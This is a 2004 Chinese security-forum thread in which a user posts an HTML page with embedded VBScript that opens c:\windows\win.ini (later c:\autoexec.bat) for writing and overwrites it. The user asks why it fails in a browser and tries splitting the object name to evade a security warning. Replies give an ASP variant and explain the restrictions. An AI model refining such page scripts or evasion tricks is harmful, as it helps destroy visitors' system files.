|
![]() | 作者: jony [jony]
![]() |
登录 |
<html> <title>ddd</title> <head> <body> <SCRIPT LANGUAGE=vbScript"> Set fso= Createobject("scripting.filesystemobject") set f = fso.opentextfile("c:\windows\win.ini",2) f.writeline("ddddddddd") f.close() </SCRIPT> </body> </head> </html> [此贴被 286(unique) 在 10月08日16时59分 编辑过] |
地主 发表时间: 04-10-08 11:28 |
![]() | 回复: 286 [unique] ![]() |
登录 |
<html> <title>ddd</title> <head> <body> <% rem SCRIPT LANGUAGE=vbScript"> Set fso= server.Createobject("scripting.filesystemobject") set f = fso.opentextfile(Server.MapPath("win.ini"),2,false) f.writeline("ddddddddd") f.close() rem </SCRIPT> %> </body> </head> </html> |
B1层 发表时间: 04-10-08 17:00 |
![]() | 回复: ProgramLive [coolcall] ![]() |
登录 |
这招好!![]() |
B2层 发表时间: 04-10-08 18:15 |
![]() | 回复: jony [jony] ![]() |
登录 |
286版主你好,很谢谢你能回答我,我用你修改后的程序在自己机子上运行了,可是win.ini文件并没被写入,还有你那句Server.MapPath("win.ini")是什么意思?为什么不直接输入路径呢? 还有个问题想问,就是在vbs中调用过程,那个过程名是自己随便写还是本来就定义好的 |
B3层 发表时间: 04-10-08 20:24 |
![]() | 回复: jony [jony] ![]() |
登录 |
Set fso= wscript.Createobject("scripting.filesystemobject") set f = fso.opentextfile("c:\autoexec.bat",2,ture) f.writeline("ddddassss") f.close() 这段代码直接保存为.vbs可以运行成功,加到网页中就不起作用,是什么原因,请指教,谢谢 |
B4层 发表时间: 04-10-08 21:32 |
![]() | 回复: 286 [unique] ![]() |
登录 |
1 就是在vbs中调用过程,那个过程名是自己随便写还是本来就定义好的 我已回答过你了,这个很难说的。一般说来如果你的过程名在你整个程序中有定义有调用,那肯定是自己定义的,你可以随便写个名,如果只有调用没有定义,那当然是系统提供给你的了。不然你调用谁呀? 2 scripting.filesystemobject 这个东东在设计的时候,就考虑到可能带来的危险,因此就作了很多限制。比如,(好象是)只能写自己机器上的文件,不能写访问者的文件,另外所写文件是通过网络路径(http://web/filename)访问的,而不是通过绝对路径(c:\filename)访问的。并且所访问的文件要有读写权限。这部分内容你可查相关书籍。 3 Server.MapPath("win.ini")就是把该文件映射成本地目录便于查找。这与前面网络路径不矛盾。这是本机文件。 |
B5层 发表时间: 04-10-09 09:01 |
![]() | 回复: jony [jony] ![]() |
登录 |
今天我又发现了一个问题就是系统给出了高级警告,意思就是不让运行,我也试着改为,fso=createobject("script"+"ing.filesyste"+"mobject"),可是提示我是无效字符,这是怎么回师,听说vbs有个叫wsh 的,东东去书店没找到,听问哪可以找到相关资料 |
B6层 发表时间: 04-10-09 12:48 |
![]() | 回复: 286 [unique] ![]() |
登录 |
http://www.baidu.com/baidu?word=wsh&cl=3 |
B7层 发表时间: 04-10-09 17:06 |
![]() | 回复: John [fyhjx023] ![]() |
登录 |
这里的标题元素和体元素不能混在一起,i.e. <html> <head> <title> fdsfa </title> </head> <body> gfdsgsdf </body> </html> 就是以上的格式 head和body 要分开 |
B8层 发表时间: 04-10-09 19:14 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号